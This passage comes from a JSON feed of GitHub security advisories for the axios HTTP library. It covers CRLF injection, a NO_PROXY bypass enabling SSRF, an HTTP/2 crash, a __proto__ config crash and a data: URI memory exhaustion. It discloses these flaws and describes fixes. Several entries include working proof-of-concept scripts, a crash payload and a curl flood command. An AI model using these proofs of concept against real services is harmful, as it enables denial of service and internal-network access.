function.\n\n**Patch Suggestion:**\n```javascript\n// In lib/adapters/http.js\nutils.forEach(requestHeaders, function setRequestHeader(val, key) {\n  if (/[\\r\\n]/.test(val)) {\n    throw new Error('Security: Header value contains invalid characters');\n  }\n  // ... proceed to set header\n});\n```\n\n## References\n-   **OWASP**: CRLF Injection (CWE-113)\n\nThis report was generated as part of a security audit of the Axios library.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-10T19:47:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx","https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1","https://github.com/axios/axios/releases/tag/v1.15.0","https://nvd.nist.gov/vuln/detail/CVE-2026-40175","https://github.com/axios/axios/pull/10660","https://github.com/axios/axios/pull/10660#issuecomment-4224168081","https://github.com/axios/axios/pull/10688","https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c","https://github.com/axios/axios/releases/tag/v0.31.0","https://cert-portal.siemens.com/productcert/html/ssa-876049.html","https://github.com/advisories/GHSA-fvcv-3m26-pcqx"],"source_kind":"github","identifiers":["GHSA-fvcv-3m26-pcqx","CVE-2026-40175"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-10T20:00:12.594Z","updated_at":"2026-08-28T13:02:54.694Z","epss_percentage":0.01882,"epss_percentile":0.77526,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mdmN2LTNtMjYtcGNxeM4ABVGD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mdmN2LTNtMjYtcGNxeM4ABVGD","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.0","vulnerable_version_range":"\u003c 0.31.0"},{"first_patched_version":"1.15.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mdmN2LTNtMjYtcGNxeM4ABVGD/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zcDY4LXJjNHctcWd4Nc4ABVAs","url":"https://github.com/advisories/GHSA-3p68-rc4w-qgx5","title":"Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF","description":"Axios does not correctly handle hostname normalization when checking `NO_PROXY` rules.\nRequests to loopback addresses like `localhost.` (with a trailing dot) or `[::1]` (IPv6 literal) skip `NO_PROXY` matching and go through the configured proxy.\n\nThis goes against what developers expect and lets attackers force requests through a proxy, even if `NO_PROXY` is set up to protect loopback or internal services.\n\nAccording to [RFC 1034 §3.1](https://datatracker.ietf.org/doc/html/rfc1034#section-3.1) and [RFC 3986 §3.2.2](https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2), a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, `localhost.` is the same as `localhost`. \nHowever, Axios does a literal string comparison instead of normalizing hostnames before checking `NO_PROXY`. This causes requests like `http://localhost.:8080/` and `http://[::1]:8080/` to be incorrectly proxied.\n\nThis issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.\n\n---\n\n**PoC**\n\n```js\nimport http from \"http\";\nimport axios from \"axios\";\n\nconst proxyPort = 5300;\n\nhttp.createServer((req, res) =\u003e {\n  console.log(\"[PROXY] Got:\", req.method, req.url, \"Host:\", req.headers.host);\n  res.writeHead(200, { \"Content-Type\": \"text/plain\" });\n  res.end(\"proxied\");\n}).listen(proxyPort, () =\u003e console.log(\"Proxy\", proxyPort));\n\nprocess.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;\nprocess.env.NO_PROXY = \"localhost,127.0.0.1,::1\";\n\nasync function test(url) {\n  try {\n    await axios.get(url, { timeout: 2000 });\n  } catch {}\n}\n\nsetTimeout(async () =\u003e {\n  console.log(\"\\n[*] Testing http://localhost.:8080/\");\n  await test(\"http://localhost.:8080/\"); // goes through proxy\n\n  console.log(\"\\n[*] Testing http://[::1]:8080/\");\n  await test(\"http://[::1]:8080/\"); // goes through proxy\n}, 500);\n```\n\n**Expected:** Requests bypass the proxy (direct to loopback).\n**Actual:** Proxy logs requests for `localhost.` and `[::1]`.\n\n---\n\n**Impact**\n\n* Applications that rely on `NO_PROXY=localhost,127.0.0.1,::1` for protecting loopback/internal access are vulnerable.\n* Attackers controlling request URLs can:\n\n  * Force Axios to send local traffic through an attacker-controlled proxy.\n  * Bypass SSRF mitigations relying on NO\\_PROXY rules.\n  * Potentially exfiltrate sensitive responses from internal services via the proxy.\n  \n  \n---\n\n**Affected Versions**\n\n* Confirmed on Axios **1.12.2** (latest at time of testing).\n* affects all versions that rely on Axios’ current `NO_PROXY` evaluation.\n\n---\n\n**Remediation**\nAxios should normalize hostnames before evaluating `NO_PROXY`, including:\n\n* Strip trailing dots from hostnames (per RFC 3986).\n* Normalize IPv6 literals by removing brackets for matching.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-09T17:32:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5","https://nvd.nist.gov/vuln/detail/CVE-2025-62718","https://github.com/axios/axios/pull/10661","https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df","https://datatracker.ietf.org/doc/html/rfc1034#section-3.1","https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2","https://github.com/axios/axios/releases/tag/v1.15.0","https://github.com/axios/axios/pull/10688","https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c","https://github.com/axios/axios/releases/tag/v0.31.0","https://github.com/advisories/GHSA-3p68-rc4w-qgx5"],"source_kind":"github","identifiers":["GHSA-3p68-rc4w-qgx5","CVE-2025-62718"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-09T18:00:11.082Z","updated_at":"2026-08-29T17:02:32.232Z","epss_percentage":0.01161,"epss_percentile":0.64468,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zcDY4LXJjNHctcWd4Nc4ABVAs","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zcDY4LXJjNHctcWd4Nc4ABVAs","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.0","vulnerable_version_range":"\u003c 0.31.0"},{"first_patched_version":"1.15.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zcDY4LXJjNHctcWd4Nc4ABVAs/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xajgzLWNxNDctdzVmOM4ABU8S","url":"https://github.com/advisories/GHSA-qj83-cq47-w5f8","title":"Axios HTTP/2 Session Cleanup State Corruption Vulnerability","description":"### Summary\n\nAxios HTTP/2 session cleanup logic contains a state corruption bug that allows a malicious server to crash the client process through concurrent session closures. This denial-of-service vulnerability affects axios versions prior to 1.13.2 when HTTP/2 is enabled.\n\n### Details\n\nThe vulnerability exists in the `Http2Sessions.getSession()` method in `lib/adapters/http.js`. The session cleanup logic contains a control flow error when removing sessions from the sessions array.\n\n**Vulnerable Code:**\n```javascript\nwhile (i--) {\n  if (entries[i][0] === session) {\n    entries.splice(i, 1);\n    if (len === 1) {\n      delete this.sessions[authority];\n      return;\n    }\n  }\n}\n```\n\n**Root Cause:**\nAfter calling `entries.splice(i, 1)` to remove a session, the original code only returned early if `len === 1`. For arrays with multiple entries, the iteration continued after modifying the array, causing undefined behavior and potential crashes when accessing shifted array indices.\n\n**Fixed Code:**\n```javascript\nwhile (i--) {\n  if (entries[i][0] === session) {\n    if (len === 1) {\n      delete this.sessions[authority];\n    } else {\n      entries.splice(i, 1);\n    }\n    return;\n  }\n}\n```\n\nThe fix restructures the control flow to immediately return after removing a session, regardless of whether the array is being emptied or just having one element removed. This prevents continued iteration over a modified array and eliminates the state corruption vulnerability.\n\n**Affected Component:**\n- `lib/adapters/http.js` - Http2Sessions class, session cleanup in connection close handler\n\n### PoC\n\n1. Set up a malicious HTTP/2 server that accepts multiple concurrent connections from an axios client\n2. Establish multiple concurrent HTTP/2 sessions with the axios client\n3. Close all sessions simultaneously with precise timing\n4. The flawed cleanup logic attempts to iterate over and modify the sessions array concurrently\n5. This causes the client to access invalid memory locations, resulting in a process crash\n\n**Prerequisites:**\n- Client must use axios with HTTP/2 enabled\n- Client must connect to attacker-controlled HTTP/2 server\n- Multiple concurrent HTTP/2 sessions must be established\n- Server must close all sessions simultaneously with precise timing\n\n### Impact\n\n**Who is impacted:**\n- Applications using axios with HTTP/2 enabled\n- Applications connecting to untrusted or attacker-controlled HTTP/2 servers\n- Node.js applications using axios for HTTP/2 requests\n\n**Impact Details:**\n- **Denial of Service:** Malicious server can crash the axios client process by accepting and closing multiple concurrent HTTP/2 connections simultaneously\n- **Availability Impact:** Complete loss of availability for the client process through crash (though service may auto-restart)\n- **Scope:** Impact is limited to the single client process making the requests; does not escape to affect other components or systems\n- **No Confidentiality or Integrity Impact:** Vulnerability only causes process crash, no information disclosure or data modification\n\n**CVSS Score:** 5.9 (Medium)\n**CVSS Vector:** CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n**CWE Classifications:**\n- CWE-400: Uncontrolled Resource Consumption\n- CWE-662: Improper Synchronization","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-08T15:51:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/axios/axios/security/advisories/GHSA-qj83-cq47-w5f8","https://nvd.nist.gov/vuln/detail/CVE-2026-39865","https://github.com/axios/axios/releases/tag/v1.13.2","https://github.com/axios/axios/commit/0588880ac7ddba7594ef179930493884b7e90bf5","https://github.com/advisories/GHSA-qj83-cq47-w5f8"],"source_kind":"github","identifiers":["GHSA-qj83-cq47-w5f8","CVE-2026-39865"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-08T16:00:10.114Z","updated_at":"2026-08-29T17:02:36.605Z","epss_percentage":0.00731,"epss_percentile":0.51305,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xajgzLWNxNDctdzVmOM4ABU8S","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xajgzLWNxNDctdzVmOM4ABU8S","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.13.2","vulnerable_version_range":"\u003e= 1.13.0, \u003c 1.13.2"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xajgzLWNxNDctdzVmOM4ABU8S/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00M2ZjLWpmODYtajQzM84ABSHW","url":"https://github.com/advisories/GHSA-43fc-jf86-j433","title":"Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig","description":"# Denial of Service via **proto** Key in mergeConfig\n\n### Summary\n\nThe `mergeConfig` function in axios crashes with a TypeError when processing configuration objects containing `__proto__` as an own property. An attacker can trigger this by providing a malicious configuration object created via `JSON.parse()`, causing complete denial of service.\n\n### Details\n\nThe vulnerability exists in `lib/core/mergeConfig.js` at lines 98-101:\n\n```javascript\nutils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {\n  const merge = mergeMap[prop] || mergeDeepProperties;\n  const configValue = merge(config1[prop], config2[prop], prop);\n  (utils.isUndefined(configValue) \u0026\u0026 merge !== mergeDirectKeys) || (config[prop] = configValue);\n});\n```\n\nWhen `prop` is `'__proto__'`:\n\n1. `JSON.parse('{\"__proto__\": {...}}')` creates an object with `__proto__` as an own enumerable property\n2. `Object.keys()` includes `'__proto__'` in the iteration\n3. `mergeMap['__proto__']` performs prototype chain lookup, returning `Object.prototype` (truthy object)\n4. The expression `mergeMap[prop] || mergeDeepProperties` evaluates to `Object.prototype`\n5. `Object.prototype(...)` throws `TypeError: merge is not a function`\n\nThe `mergeConfig` function is called by:\n\n- `Axios._request()` at `lib/core/Axios.js:75`\n- `Axios.getUri()` at `lib/core/Axios.js:201`\n- All HTTP method shortcuts (`get`, `post`, etc.) at `lib/core/Axios.js:211,224`\n\n### PoC\n\n```javascript\nimport axios from \"axios\";\n\nconst maliciousConfig = JSON.parse('{\"__proto__\": {\"x\": 1}}');\nawait axios.get(\"https://httpbin.org/get\", maliciousConfig);\n```\n\n**Reproduction steps:**\n\n1. Clone axios repository or `npm install axios`\n2. Create file `poc.mjs` with the code above\n3. Run: `node poc.mjs`\n4. Observe the TypeError crash\n\n**Verified output (axios 1.13.4):**\n\n```\nTypeError: merge is not a function\n    at computeConfigValue (lib/core/mergeConfig.js:100:25)\n    at Object.forEach (lib/utils.js:280:10)\n    at mergeConfig (lib/core/mergeConfig.js:98:9)\n```\n\n**Control tests performed:**\n| Test | Config | Result |\n|------|--------|--------|\n| Normal config | `{\"timeout\": 5000}` | SUCCESS |\n| Malicious config | `JSON.parse('{\"__proto__\": {\"x\": 1}}')` | **CRASH** |\n| Nested object | `{\"headers\": {\"X-Test\": \"value\"}}` | SUCCESS |\n\n**Attack scenario:**\nAn application that accepts user input, parses it with `JSON.parse()`, and passes it to axios configuration will crash when receiving the payload `{\"__proto__\": {\"x\": 1}}`.\n\n### Impact\n\n**Denial of Service** - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.\n\nAffected environments:\n\n- Node.js servers using axios for HTTP requests\n- Any backend that passes parsed JSON to axios configuration\n\nThis is NOT prototype pollution - the application crashes before any assignment occurs.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-02-09T17:46:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/axios/axios/security/advisories/GHSA-43fc-jf86-j433","https://github.com/axios/axios/pull/7369","https://github.com/axios/axios/commit/28c721588c7a77e7503d0a434e016f852c597b57","https://github.com/axios/axios/releases/tag/v1.13.5","https://nvd.nist.gov/vuln/detail/CVE-2026-25639","https://github.com/axios/axios/pull/7388","https://github.com/axios/axios/commit/d7ff1409c68168d3057fc3891f911b2b92616f9e","https://github.com/axios/axios/releases/tag/v0.30.3","https://github.com/advisories/GHSA-43fc-jf86-j433"],"source_kind":"github","identifiers":["GHSA-43fc-jf86-j433","CVE-2026-25639"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-09T18:00:11.533Z","updated_at":"2026-08-28T13:04:05.082Z","epss_percentage":0.02688,"epss_percentile":0.84765,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00M2ZjLWpmODYtajQzM84ABSHW","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00M2ZjLWpmODYtajQzM84ABSHW","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.30.3","vulnerable_version_range":"\u003c= 0.30.2"},{"first_patched_version":"1.13.5","vulnerable_version_range":"\u003e= 1.0.0, \u003c= 1.13.4"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00M2ZjLWpmODYtajQzM84ABSHW/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00aGpoLXdjd3gteHZ3as4ABMAO","url":"https://github.com/advisories/GHSA-4hjh-wcwx-xvwj","title":"Axios is vulnerable to DoS attack through lack of data size check","description":"## Summary\n\nWhen Axios runs on Node.js and is given a URL with the `data:` scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (`Buffer`/`Blob`) and returns a synthetic 200 response.\nThis path ignores `maxContentLength` / `maxBodyLength` (which only protect HTTP responses), so an attacker can supply a very large `data:` URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested `responseType: 'stream'`.\n\n## Details\n\nThe Node adapter (`lib/adapters/http.js`) supports the `data:` scheme. When `axios` encounters a request whose URL starts with `data:`, it does not perform an HTTP request. Instead, it calls `fromDataURI()` to decode the Base64 payload into a Buffer or Blob.\n\nRelevant code from [`[httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231)`](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):\n\n```js\nconst fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);\nconst parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);\nconst protocol = parsed.protocol || supportedProtocols[0];\n\nif (protocol === 'data:') {\n  let convertedData;\n  if (method !== 'GET') {\n    return settle(resolve, reject, { status: 405, ... });\n  }\n  convertedData = fromDataURI(config.url, responseType === 'blob', {\n    Blob: config.env \u0026\u0026 config.env.Blob\n  });\n  return settle(resolve, reject, { data: convertedData, status: 200, ... });\n}\n```\n\nThe decoder is in [`[lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27)`](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):\n\n```js\nexport default function fromDataURI(uri, asBlob, options) {\n  ...\n  if (protocol === 'data') {\n    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;\n    const match = DATA_URL_PATTERN.exec(uri);\n    ...\n    const body = match[3];\n    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');\n    if (asBlob) { return new _Blob([buffer], {type: mime}); }\n    return buffer;\n  }\n  throw new AxiosError('Unsupported protocol ' + protocol, ...);\n}\n```\n\n* The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.\n* It does **not** honour `config.maxContentLength` or `config.maxBodyLength`, which only apply to HTTP streams.\n* As a result, a `data:` URI of arbitrary size can cause the Node process to allocate the entire content into memory.\n\nIn comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when `totalResponseBytes` exceeds [`[maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550)`](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for `data:` URIs.\n\n\n## PoC\n\n```js\nconst axios = require('axios');\n\nasync function main() {\n  // this example decodes ~120 MB\n  const base64Size = 160_000_000; // 120 MB after decoding\n  const base64 = 'A'.repeat(base64Size);\n  const uri = 'data:application/octet-stream;base64,' + base64;\n\n  console.log('Generating URI with base64 length:', base64.length);\n  const response = await axios.get(uri, {\n    responseType: 'arraybuffer'\n  });\n\n  console.log('Received bytes:', response.data.length);\n}\n\nmain().catch(err =\u003e {\n  console.error('Error:', err.message);\n});\n```\n\nRun with limited heap to force a crash:\n\n```bash\nnode --max-old-space-size=100 poc.js\n```\n\nSince Node heap is capped at 100 MB, the process terminates with an out-of-memory error:\n\n```\n\u003c--- Last few GCs ---\u003e\n…\nFATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory\n1: 0x… node::Abort() …\n…\n```\n\nMini Real App PoC:\nA small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore `maxContentLength `, `maxBodyLength` and decodes into memory on Node before streaming enabling DoS.\n\n```js\nimport express from \"express\";\nimport morgan from \"morgan\";\nimport axios from \"axios\";\nimport http from \"node:http\";\nimport https from \"node:https\";\nimport { PassThrough } from \"node:stream\";\n\nconst keepAlive = true;\nconst httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });\nconst httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });\nconst axiosClient = axios.create({\n  timeout: 10000,\n  maxRedirects: 5,\n  httpAgent, httpsAgent,\n  headers: { \"User-Agent\": \"axios-poc-link-preview/0.1 (+node)\" },\n  validateStatus: c =\u003e c \u003e= 200 \u0026\u0026 c \u003c 400\n});\n\nconst app = express();\nconst PORT = Number(process.env.PORT || 8081);\nconst BODY_LIMIT = process.env.MAX_CLIENT_BODY || \"50mb\";\n\napp.use(express.json({ limit: BODY_LIMIT }));\napp.use(morgan(\"combined\"));\n\napp.get(\"/healthz\", (req,res)=\u003eres.send(\"ok\"));\n\n/**\n * POST /preview { \"url\": \"\u003chttp|https|data URL\u003e\" }\n * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).\n */\n\napp.post(\"/preview\", async (req, res) =\u003e {\n  const url = req.body?.url;\n  if (!url) return res.status(400).json({ error: \"missing url\" });\n\n  let u;\n  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: \"invalid url\" }); }\n\n  // Developer allows using data:// in the allowlist\n  const allowed = new Set([\"http:\", \"https:\", \"data:\"]);\n  if (!allowed.has(u.protocol)) return res.status(400).json({ error: \"unsupported scheme\" });\n\n  const controller = new AbortController();\n  const onClose = () =\u003e controller.abort();\n  res.on(\"close\", onClose);\n\n  const before = process.memoryUsage().heapUsed;\n\n  try {\n    const r = await axiosClient.get(u.toString(), {\n      responseType: \"stream\",\n      maxContentLength: 8 * 1024, // Axios will ignore this for data:\n      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:\n      signal: controller.signal\n    });\n\n    // stream only the first 64KB back\n    const cap = 64 * 1024;\n    let sent = 0;\n    const limiter = new PassThrough();\n    r.data.on(\"data\", (chunk) =\u003e {\n      if (sent + chunk.length \u003e cap) { limiter.end(); r.data.destroy(); }\n      else { sent += chunk.length; limiter.write(chunk); }\n    });\n    r.data.on(\"end\", () =\u003e limiter.end());\n    r.data.on(\"error\", (e) =\u003e limiter.destroy(e));\n\n    const after = process.memoryUsage().heapUsed;\n    res.set(\"x-heap-increase-mb\", ((after - before)/1024/1024).toFixed(2));\n    limiter.pipe(res);\n  } catch (err) {\n    const after = process.memoryUsage().heapUsed;\n    res.set(\"x-heap-increase-mb\", ((after - before)/1024/1024).toFixed(2));\n    res.status(502).json({ error: String(err?.message || err) });\n  } finally {\n    res.off(\"close\", onClose);\n  }\n});\n\napp.listen(PORT, () =\u003e {\n  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);\n  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);\n});\n```\nRun this app and send 3 post requests:\n```sh\nSIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString(\"base64\"); process.stdout.write(JSON.stringify({url:\"data:application/octet-stream;base64,\"+b}))' \\\n| tee payload.json \u003e/dev/null\nseq 1 3 | xargs -P3 -I{} curl -sS -X POST \"$URL\" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```\n```\n\n---\n\n## Suggestions\n\n1. **Enforce size limits**\n   For `protocol === 'data:'`, inspect the length of the Base64 payload before decoding. If `config.maxContentLength` or `config.maxBodyLength` is set, reject URIs whose payload exceeds the limit.\n\n2. **Stream decoding**\n   Instead of decoding the entire payload in one `Buffer.from` call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-09-11T21:07:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/axios/axios/security/advisories/GHSA-4hjh-wcwx-xvwj","https://github.com/axios/axios/pull/7011","https://github.com/axios/axios/commit/945435fc51467303768202250debb8d4ae892593","https://github.com/axios/axios/releases/tag/v1.12.0","https://nvd.nist.gov/vuln/detail/CVE-2025-58754","https://github.com/axios/axios/pull/7034","https://github.com/axios/axios/commit/a1b1d3f073a988601583a604f5f9f5d05a3d0b67","https://github.com/axios/axios/releases/tag/v0.30.2","https://github.com/axios/axios/commit/c30252f685e8f4326722de84923fcbc8cf557f06","https://github.com/advisories/GHSA-4hjh-wcwx-xvwj"],"source_kind":"github","identifiers":["GHSA-4hjh-wcwx-xvwj","CVE-2025-58754"],"repository_url":"https://github.com/axios/axios","blast_radius":0.0,"created_at":"2025-09-11T22:10:23.612Z","updated_at":"2026-08-30T17:04:33.096Z","epss_percentage":0.0114,"epss_percentile":0.6416,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00aGpoLXdjd3gteHZ3as4ABMAO","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00aGpoLXdjd3gteHZ3as4ABMAO","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.12.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.12.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00aGpoLXdjd3gteHZ3as4ABMAO/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ybThwLWN4NTgtaGN2eM4ABKdI","url":"https://github.com/advisories/GHSA-rm8p-cx58-hcvx","title":"Withdrawn Advisory: Axios has Transitive Critical Vulnerability via form-data","description":"### Withdrawn Advisory\nThis advisory has been withdrawn because users of Axios 1.10.0 have the flexibility to use a patched version of form-data, the software in which the vulnerability originates, without upgrading Axios to address GHSA-fjxv-7rqg-78g4.\n\n### Original Description\nA critical vulnerability exists in the form-data package used by `axios@1.10.0`. The issue allows an attacker to predict multipart boundary values generated using `Math.random()`, opening the door to HTTP parameter pollution or injection attacks.\n\nThis was submitted in [issue #6969](https://github.com/axios/axios/issues/6969) and addressed in [pull request #6970](https://github.com/axios/axios/pull/6970).\n\n### Details\nThe vulnerable package `form-data@4.0.0` is used by `axios@1.10.0` as a transitive dependency. It uses non-secure, deterministic randomness (`Math.random()`) to generate multipart boundary strings.\n\nThis flaw is tracked under [Snyk Advisory SNYK-JS-FORMDATA-10841150](https://security.snyk.io/vuln/SNYK-JS-FORMDATA-10841150) and [CVE-2025-7783](https://security.snyk.io/vuln/SNYK-JS-FORMDATA-10841150).\n\nAffected `form-data` versions:\n- \u003c2.5.4\n- \u003e=3.0.0 \u003c3.0.4\n- \u003e=4.0.0 \u003c4.0.4\n\nSince `axios@1.10.0` pulls in `form-data@4.0.0`, it is exposed to this issue.\n\n\n### PoC\n1. Install Axios: - `npm install axios@1.10.0`\n2.Run `snyk test`:\n```\nTested 104 dependencies for known issues, found 1 issue, 1 vulnerable path.\n\n✗ Predictable Value Range from Previous Values [Critical Severity]\nin form-data@4.0.0 via axios@1.10.0 \u003e form-data@4.0.0\n\n```\n3. Trigger a multipart/form-data request. Observe the boundary header uses predictable random values, which could be exploited in a targeted environment.\n\n\n### Impact\n\n- **Vulnerability Type**: Predictable Value / HTTP Parameter Pollution\n- **Risk**: Critical (CVSS 9.4)\n- **Impacted Users**: Any application using axios@1.10.0 to submit multipart form-data\n\n\nThis could potentially allow attackers to:\n- Interfere with multipart request parsing\n- Inject unintended parameters\n- Exploit backend deserialization logic depending on content boundaries\n\n### Related Links\n[GitHub Issue #6969](https://github.com/axios/axios/issues/6969)\n\n[Pull Request #xxxx](https://github.com/axios/axios/pull/xxxx) (replace with actual link)\n\n[Snyk Advisory](https://security.snyk.io/vuln/SNYK-JS-FORMDATA-10841150)\n\n[form-data on npm](https://www.npmjs.com/package/form-data)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-07-23T16:49:38.000Z","withdrawn_at":"2025-07-24T13:35:30.000Z","classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-rm8p-cx58-hcvx","https://github.com/axios/axios/issues/6969","https://github.com/axios/axios/pull/6970","https://security.snyk.io/vuln/SNYK-JS-FORMDATA-10841150","https://nvd.nist.gov/vuln/detail/CVE-2025-7783","https://nvd.nist.gov/vuln/detail/CVE-2025-54371","https://github.com/advisories/GHSA-fjxv-7rqg-78g4","https://github.com/advisories/GHSA-rm8p-cx58-hcvx"],"source_kind":"github","identifiers":["GHSA-rm8p-cx58-hcvx","CVE-2025-54371"],"repository_url":"https://github.com/axios/axios","blast_radius":0.0,"created_at":"2025-07-23T17:08:53.597Z","updated_at":"2026-08-28T13:05:29.284Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ybThwLWN4NTgtaGN2eM4ABKdI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ybThwLWN4NTgtaGN2eM4ABKdI","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.11.0","vulnerable_version_range":"= 